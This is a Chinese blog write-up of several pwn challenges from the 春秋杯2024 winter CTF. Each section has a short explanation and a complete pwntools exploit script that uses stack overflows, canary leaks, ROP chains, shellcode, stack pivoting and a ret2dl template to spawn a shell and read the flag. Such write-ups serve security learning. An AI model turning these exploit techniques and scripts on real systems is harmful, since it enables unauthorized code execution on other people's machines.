春秋杯2024冬季赛 pwn-wp

bypass

首先在本地环境调试时需要拟造一个.BYPASS文件,只要满足条件即可。
main函数可以leak puts, 进而leak libc。0x400978处的函数可以栈溢出,但由于见0截断,只能用one_gadget打。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
from pwn import *

filename = "pwn_patched"
libcname = "/home/zhangjuncpp/.config/cpwn/pkgs/2.27-3ubuntu1.6/amd64/libc6_2.27-3ubuntu1.6_amd64/lib/x86_64-linux-gnu/libc.so.6"
host = "47.94.155.240"
port = 22636
elf = context.binary = ELF(filename)
context.terminal = ['wt.exe', 'wsl']
if libcname:
libc = ELF(libcname)
gs = '''
b main

b *(0x400b6b)
set debug-file-directory /home/zhangjuncpp/.config/cpwn/pkgs/2.27-3ubuntu1.6/amd64/libc6-dbg_2.27-3ubuntu1.6_amd64/usr/lib/debug
set directories /home/zhangjuncpp/.config/cpwn/pkgs/2.27-3ubuntu1.6/amd64/glibc-source_2.27-3ubuntu1.6_all/usr/src/glibc/glibc-2.27
'''

def start():
if args.GDB:
return gdb.debug(elf.path, gdbscript = gs)
elif args.REMOTE:
return remote(host, port)
else:
return process(elf.path)

pop_rdi = 0x400df3
ret = pop_rdi + 1


io = start()
io.send(b"a"*4)
io.recvuntil(b"Invalid\n")
puts_addr = u64(io.recvuntil(b'\x7f').ljust(8,b'\x00'))
log.success(f">>> puts: {hex(puts_addr)}")
libc.address = puts_addr - libc.sym.puts
one_gadget = libc.address + 0x4f302
system_addr = libc.address + libc.sym["system"]
binsh_addr = libc.address + next(libc.search(b"/bin/sh"))
log.success(f">>> puts: {p16(526+5)}")
io.send(b"\x00"*4)
pause(1)
rop_chain = p64(one_gadget)
str1 = (b"KEY: "+ b"a"*19+p16(526+5) + b"c"*8 + rop_chain).ljust(512 ,b"d")
payload = (b"VAL: ").ljust(512 ,b"d")
io.send(str1)
pause(1)
io.send(payload)

io.interactive()

gender_simulation

女汉子Tomboy选项有漏洞(为什么不是南梁选项😭),会将接收到的字符串当做函数指针调用,篡改至gender函数后打ret2libc即可。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
#!/usr/bin/env python3

'''
author: GeekCmore
time: 2025-01-17 11:28:01
'''
from pwn import *

filename = "pwn_patched"
libcname = "/home/zhangjuncpp/.config/cpwn/pkgs/2.39-0ubuntu8.3/amd64/libc6_2.39-0ubuntu8.3_amd64/usr/lib/x86_64-linux-gnu/libc.so.6"
host = "127.0.0.1"
port = 1337
elf = context.binary = ELF(filename)
libc = ELF("./libc.so.6")
context.terminal = ['wt.exe', 'wsl']
context(os='linux', arch='amd64', log_level='debug')
if libcname:
libc = ELF(libcname)
gs = '''
b *(0x402EA9)
b *(0x4025e6)
set debug-file-directory /home/zhangjuncpp/.config/cpwn/pkgs/2.39-0ubuntu8.3/amd64/libc6-dbg_2.39-0ubuntu8.3_amd64/usr/lib/debug
set directories /home/zhangjuncpp/.config/cpwn/pkgs/2.39-0ubuntu8.3/amd64/glibc-source_2.39-0ubuntu8.3_all/usr/src/glibc/glibc-2.39
'''

def start():
if args.GDB:
return gdb.debug(elf.path, gdbscript = gs)
elif args.REMOTE:
return remote(host, port)
else:
return process(elf.path)

io = start()
io.recvuntil(b"gift: ")
gift = int(io.recvuntil("\n")[2:-1], 16)
libc_base = gift - libc.sym["setvbuf"]
system_addr = libc_base + libc.sym["system"]
binsh_addr = libc_base + next(libc.search(b"/bin/sh"))
log.success(f"libc_base>>> {hex(libc_base)}")
io.sendlineafter(b"Girl\n", b"2")
io.sendlineafter(b"Tomboy\n", b"2")
back_addr = 0x4025e6
io.sendlineafter(b"certificate\n", p64(back_addr))
pop_rdi = 0x10f75b + libc_base
ret = pop_rdi + 1
payload = b"a"*0x10 + b"b"*0x8 + p64(pop_rdi) + p64(binsh_addr) + p64(ret) + p64(system_addr)
io.sendafter(b"certificate", payload)
io.interactive()

eazy_http

本题主要难点是逆向,pwn漏洞点属于签到题级别,我觉得这题应该出RE()
注意到不仅没给libc,甚至整个程序都没有plt表和got表。这实际上是因为程序直接重写了libc的函数并写死在程序里,然后剥离符号表,提高了逆向难度。
逆向分析部分参考这位大佬的题解:https://xz.aliyun.com/news/16600
不过我调试时一直只有一个进程,与上述题解情况不同,可能是我的环境问题吧。
漏洞点是栈溢出。注意,程序实际上是有canary保护的,需要常规方法泄露canary后再打一次。由于缺失libc,这里的ROP需要利用syscall打,ROP链很长,但基本不用自己写,ROPgadget一把梭即可

1
ROPgadget --binary ./attachment --ropchain

这里还有一个问题,在解析路径时会把路径存到栈上,可我们的ROP部分毁坏了栈,需要弄个长点的pop绕过。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
from pwn import *
import subprocess
context(os='linux', arch='amd64', log_level='debug')
context.terminal = ['wt.exe', 'wsl']

e = ELF("./attachment")

io = process("./attachment")
# io = gdb.debug("./attachment", """b *(0x40218f)
# b *(0x401f71)
# b *(0x401bd1)
# """)

template = '''POST /{} HTTP/1.1\r
Host: www.baidu.com\r
User-Agent: Haha\r
Content-Length: {}\r
Content: {}\r
'''

def debug():
command = ["ps", "-ax"]
grep_command = ["grep", "attachment"]
# 执行 ps 命令
ps_process = subprocess.Popen(command, stdout=subprocess.PIPE)
# 将 ps 命令的输出作为 grep 命令的输入
grep_process = subprocess.Popen(grep_command, stdin=ps_process.stdout, stdout=subprocess.PIPE)
# 允许 ps 命令的输出流直接传递到 grep 命令
ps_process.stdout.close()
# 获取最终输出
output = grep_process.communicate()[0]
pid=int(output.decode().split()[5],10)
print(f"pid:{pid}")
attach(pid)
pause()

payload1=template.format("show", 0x109, 'a'*0x109).encode()

# debug()
# pause()
io.send(payload1)
io.recvuntil(b"a"*0x108)
canary = u64(io.recv(8)) - ord("a")
log.success(f"canary:{hex(canary)}")

bss = 0x4e8b70

from struct import pack
pop_r12_r13_r14_r15_rbp=0x000000000040545d
p=p64(pop_r12_r13_r14_r15_rbp)+(b'a'*0x15 + b'/add\x00').ljust(0x28, b'a')
p += pack('<Q', 0x000000000040a9ee) # pop rsi ; ret
p += pack('<Q', 0x00000000004e60e0) # @ .data
p += pack('<Q', 0x0000000000459227) # pop rax ; ret
p += b'/bin//sh'
p += pack('<Q', 0x000000000045b995) # mov qword ptr [rsi], rax ; ret
p += pack('<Q', 0x000000000040a9ee) # pop rsi ; ret
p += pack('<Q', 0x00000000004e60e8) # @ .data + 8
p += pack('<Q', 0x0000000000447279) # xor rax, rax ; ret
p += pack('<Q', 0x000000000045b995) # mov qword ptr [rsi], rax ; ret
p += pack('<Q', 0x000000000040297f) # pop rdi ; ret
p += pack('<Q', 0x00000000004e60e0) # @ .data
p += pack('<Q', 0x000000000040a9ee) # pop rsi ; ret
p += pack('<Q', 0x00000000004e60e8) # @ .data + 8
p += pack('<Q', 0x00000000004a4c4b) # pop rdx ; pop rbx ; ret
p += pack('<Q', 0x00000000004e60e8) # @ .data + 8
p += pack('<Q', 0x4141414141414141) # padding
p += pack('<Q', 0x0000000000447279) # xor rax, rax ; ret
p += pack('<Q', 0x0000000000497310) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000497310) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000497310) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000497310) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000497310) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000497310) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000497310) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000497310) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000497310) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000497310) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000497310) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000497310) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000497310) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000497310) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000497310) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000497310) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000497310) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000497310) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000497310) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000497310) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000497310) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000497310) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000497310) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000497310) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000497310) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000497310) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000497310) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000497310) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000497310) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000497310) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000497310) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000497310) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000497310) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000497310) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000497310) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000497310) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000497310) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000497310) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000497310) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000497310) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000497310) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000497310) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000497310) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000497310) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000497310) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000497310) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000497310) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000497310) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000497310) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000497310) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000497310) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000497310) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000497310) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000497310) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000497310) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000497310) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000497310) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000497310) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000497310) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000402734) # syscall
print(">>>>>>>>" , len(b'a'*0x108+p64(canary)+p64(0)+p))
payload2=b'''POST /add HTTP/1.1\r
Host: www.baidu.com\r
User-Agent: Haha\r
Content-Length: 1192\r
Content: '''+b'a'*0x108+p64(canary)+p64(0)+p+b'\r\n'
io.send(payload2)
io.interactive()

babyshellcode

利用第一次shellcode栈迁移,再通过rop链调用syscall执行read,最后重新执行shellcode

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
#! /usr/bin/python
from pwn import *
context(os='linux', arch='amd64', log_level='debug')
context.terminal = ['wt.exe', 'wsl']
e = ELF("./pwn")

shellcode = """mov esp, esi
ret
"""
shellcode = asm(shellcode)
sh = asm(shellcraft.sh())
print(len(shellcode))

# io = process("./pwn")
# io = gdb.debug("./pwn", """b main
# b *(*shellcode+128)
# b *(*shellcode+143)
# """)

pop_rdi_rsi = p64(0x4013c9)
syscall = p64(0x401332)
mv_ecx_edx = p64(0x4012b1)



io = remote("59.110.162.87", 28725)
io.recvuntil(b"gift: ")
buf = int(io.recvuntil(b".")[2:-1], 16)
log.success(f"buf: {hex(buf)}")
rop_chain = pop_rdi_rsi + p64(0) + p64(buf) + mv_ecx_edx + syscall + p64(buf)
io.sendafter(b"> ", rop_chain)
io.sendafter(b"> ", shellcode)
pause()
io.send(sh)
io.interactive()

riya

输入n直接给shell……不是,哥们?

toys

官方题解需要多次栈迁移,非常麻烦,令人头大。但这题有个非预期解:ret2dl,套板子即可。参考春秋杯冬季赛day3 pwn toys非预期解 – 博的blog
板子是这样的:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
# ret2dl板子
# 传参分别为:伪造的link_map地址、在got表中存在函数地址的got地址、libc中system的地址、第二个参数对应的函数在libc中的偏移
def get_ret2dl_data(fake_link_map_addr, got_solved_addr, system_base, solved_base):
offset = system_base - solved_base

fake_Elf64_Dyn = b""
fake_Elf64_Dyn += p64(0) # d_tag 从link_map中找.rel.plt不需要用到标签, 随意设置
fake_Elf64_Dyn += p64(fake_link_map_addr + 0x18) # d_ptr 指向伪造的Elf64_Rela结构体,由于reloc_offset也被控制为0,不需要伪造多个结构体

fake_Elf64_Rela = b""
fake_Elf64_Rela += p64(
fake_link_map_addr - offset) # r_offset rel_addr = l->addr+reloc_offset,
# 直接指向fake_link_map所在位置令其可读写就行,offset为指向的需要的函数距离可得真实地址的函数的偏移
fake_Elf64_Rela += p64(7) # r_info index设置为0,最后一字节必须为7
fake_Elf64_Rela += p64(0) # r_addend 随意设置

fake_Elf64_Sym = b""
fake_Elf64_Sym += p32(0) # st_name 随意设置
fake_Elf64_Sym += b'AAAA' # st_info, st_other, st_shndx st_other非0以避免进入重定位符号的分支
fake_Elf64_Sym += p64(got_solved_addr - 8) # st_value 已解析函数的got表地址-8,-8体现在汇编代码中,原因不明
fake_Elf64_Sym += p64(0) # st_size 随意设置

fake_link_map_data = b""
# 如果offset为负数使用补码
if offset < 0:
fake_link_map_data += p64(2 ** 64 + offset) # l_addr,伪造为两个函数的地址偏移值的补码(为负时)
else:
fake_link_map_data += p64(offset) # l_addr,伪造为两个函数的地址偏移值

fake_link_map_data += fake_Elf64_Dyn
fake_link_map_data += fake_Elf64_Rela
fake_link_map_data += fake_Elf64_Sym
fake_link_map_data += b'\x00' * 0x20
fake_link_map_data += p64(fake_link_map_addr) # DT_STRTAB 设置为一个可读的地址
fake_link_map_data += p64(fake_link_map_addr + 0x30) # DT_SYMTAB 指向对应结构体数组的地址
fake_link_map_data += b"/bin/sh\x00"
fake_link_map_data += b'\x01' * 0x78
fake_link_map_data += p64(fake_link_map_addr + 0x8) # DT_JMPREL 指向对应数组结构体的地址

return fake_link_map_data
ret2dldata=get_ret2dl_data(fake_link_map_addr,elf.got['puts'],onegadget[3],libc.symbols['puts'])

payload=b'a'*?+p64(rbp)+p64(jmp_dl)+p64(fake_link_map_addr)+p64(0)+ret2dldata

这是题解:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
from pwn import *
context(os='linux', arch='amd64', log_level='debug')
context.terminal = ['wt.exe', 'wsl']
p = process("./pwn")
# p = gdb.debug("./pwn", """b main
# b *(0x401251)
# """)
elf = ELF("./pwn")
libc = ELF("./libc.so.6")
# 传参分别为:伪造的link_map地址、在got表中存在函数地址的got地址、libc中system的地址、第二个参数对应的函数在libc中的地址
def get_ret2dl_data(fake_link_map_addr, got_solved_addr, system_base, solved_base):
offset = system_base - solved_base

fake_Elf64_Dyn = b""
fake_Elf64_Dyn += p64(0) # d_tag 从link_map中找.rel.plt不需要用到标签, 随意设置
fake_Elf64_Dyn += p64(fake_link_map_addr + 0x18) # d_ptr 指向伪造的Elf64_Rela结构体,由于reloc_offset也被控制为0,不需要伪造多个结构体

fake_Elf64_Rela = b""
fake_Elf64_Rela += p64(fake_link_map_addr - offset) # r_offset rel_addr = l->addr+reloc_offset,
# 直接指向fake_link_map所在位置令其可读写就行,offset为指向的需要的函数距离可得真实地址的函数的偏移
fake_Elf64_Rela += p64(7) # r_info index设置为0,最后一字节必须为7
fake_Elf64_Rela += p64(0) # r_addend 随意设置

fake_Elf64_Sym = b""
fake_Elf64_Sym += p32(0) # st_name 随意设置
fake_Elf64_Sym += b'AAAA' # st_info, st_other, st_shndx st_other非0以避免进入重定位符号的分支
fake_Elf64_Sym += p64(got_solved_addr - 8) # st_value 已解析函数的got表地址-8,-8体现在汇编代码中,原因不明
fake_Elf64_Sym += p64(0) # st_size 随意设置

fake_link_map_data = b""
# 如果offset为负数使用补码
if offset < 0:
fake_link_map_data += p64(2 ** 64 + offset) # l_addr,伪造为两个函数的地址偏移值的补码(为负时)
else:
fake_link_map_data += p64(offset) # l_addr,伪造为两个函数的地址偏移值

fake_link_map_data += fake_Elf64_Dyn
fake_link_map_data += fake_Elf64_Rela
fake_link_map_data += fake_Elf64_Sym
fake_link_map_data += b'\x00' * 0x20
fake_link_map_data += p64(fake_link_map_addr) # DT_STRTAB 设置为一个可读的地址
fake_link_map_data += p64(fake_link_map_addr + 0x30) # DT_SYMTAB 指向对应结构体数组的地址
fake_link_map_data += b"/bin/sh\x00"
fake_link_map_data += b'\x01' * 0x78
fake_link_map_data += p64(fake_link_map_addr + 0x8) # DT_JMPREL 指向对应数组结构体的地址

return fake_link_map_data
payload1=b'\x00'*0x80+p64(0x404500+0x80)+p64(0x0000000000401251)
p.sendlineafter(b'Data: ',payload1)
fake_link_map_addr=0x4045a0
jmp_dl=0x401026
leave_ret=0x00000000004012cd
onegadget=[0x583dc,0x583e3,0xef4ce,0xef52b]
ret2dldata=get_ret2dl_data(fake_link_map_addr,elf.got['puts'],onegadget[3],libc.symbols['puts'])
payload2=b'\x00'*0x80+p64(0x404500)+p64(jmp_dl)+p64(fake_link_map_addr)+p64(0)+ret2dldata
# p.debug()
p.sendlineafter(b'Data: ',payload2)

p.interactive()

rogue_like

本题必须搭建远程环境才能复现(原因见下文),可以简单地patchelf后用socat转发端口,也可以使用docker(环境:Ubuntu 18.04)
这题大体思路是利用三次肉鸽,步骤为把tls上的canary置0->alarm got表+5(借此获取syscall的gadget)->off by null进行栈迁移+ROP。看过官方wp后应该不难理解这个大体思路。此题难点主要是这些:

  1. tls段上的canary的地址难以获得。这里可以在调试时使用tls指令查看,依次把tls段上的所有数据都读一遍,和canary值一致的就是canary的地址。
  2. 栈迁移随机性太高。这里可以将ROP链前面填满ret,这样成功率就会大大增加。
  3. syscall的rax难以控制。但由于第二次读取时,read函数会返回读取的字符数,我们就可以利用这次read控制rax
  4. 在第三关时,程序的标准错误流和标准输出流都会被关闭,导致程序无回显。此处可以利用exec 1>&0命令,将stdout重定向到stdin,由于stdin中的内容实际上会对我们显示(shell的回显机制,你的输入会被显示到屏幕上。个别输入比如sudo的密码不会回显),所以shell实际上会恢复正常。注意,这里只有通过远程才能实现。本地这样做是行不通的,这有可能是因为stdin只读、重定向导致冲突等原因。这也是大多数题解本地复现失败的原因之一
    题解如下:
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    #!/usr/bin/env python3

    '''
    author: GeekCmore
    time: 2025-02-24 19:18:38
    '''
    from pwn import *

    filename = "pwn1"
    libcname = "./libc-2.27.so"
    host = "localhost"
    port = 11451
    elf = context.binary = ELF(filename)
    if libcname:
    libc = ELF(libcname)
    gs = '''

    '''
    context(os='linux', arch='amd64', log_level='debug')
    context.terminal = ['wt.exe', 'wsl']
    def start():
    if args.P:
    return process(elf.path)
    elif args.REMOTE:
    return remote(host, port)
    else:
    return gdb.debug(elf.path, gdbscript = gs)

    io = start()


    io.sendafter(b"> ", b"1")
    io.sendafter(b"Sword!\n", str(0x25a8).encode())

    io.sendafter(b'> ', b'2')
    io.sendafter(b'> ', str(5).encode())
    io.sendafter(b'> ', str(0x602058).encode())

    io.sendafter(b'> ', b'3')
    pop_rdi = 0x4013f4
    bin_sh = 0x4019d7
    ret = 0x4007fe
    pop_rsi = 0x4013f6
    pop_rdx = 0x4013f8
    pop_rsp = 0x4013fa
    payload1 = p64(ret)*(0x16) + p64(pop_rdi) + p64(bin_sh) + p64(pop_rsi) + p64(0) + p64(pop_rdx) + p64(0) + p64(pop_rsp) + p64(0x602058)
    payload1 = payload1.ljust(0x100, b"\x00")
    sleep(1)
    io.send(payload1)
    sleep(1)
    io.send(b"a"*0x3b)
    sleep(1)

    io.sendline(b'exec 1>&0')
    sleep(1)
    io.sendline(b"cat flag")
    io.interactive()

春秋杯2024冬季赛 pwn-wp
https://powchan.github.io.git/2025/02/26/春秋杯2024冬季赛-pwn-wp/
作者
powchan
发布于
2025年2月26日
许可协议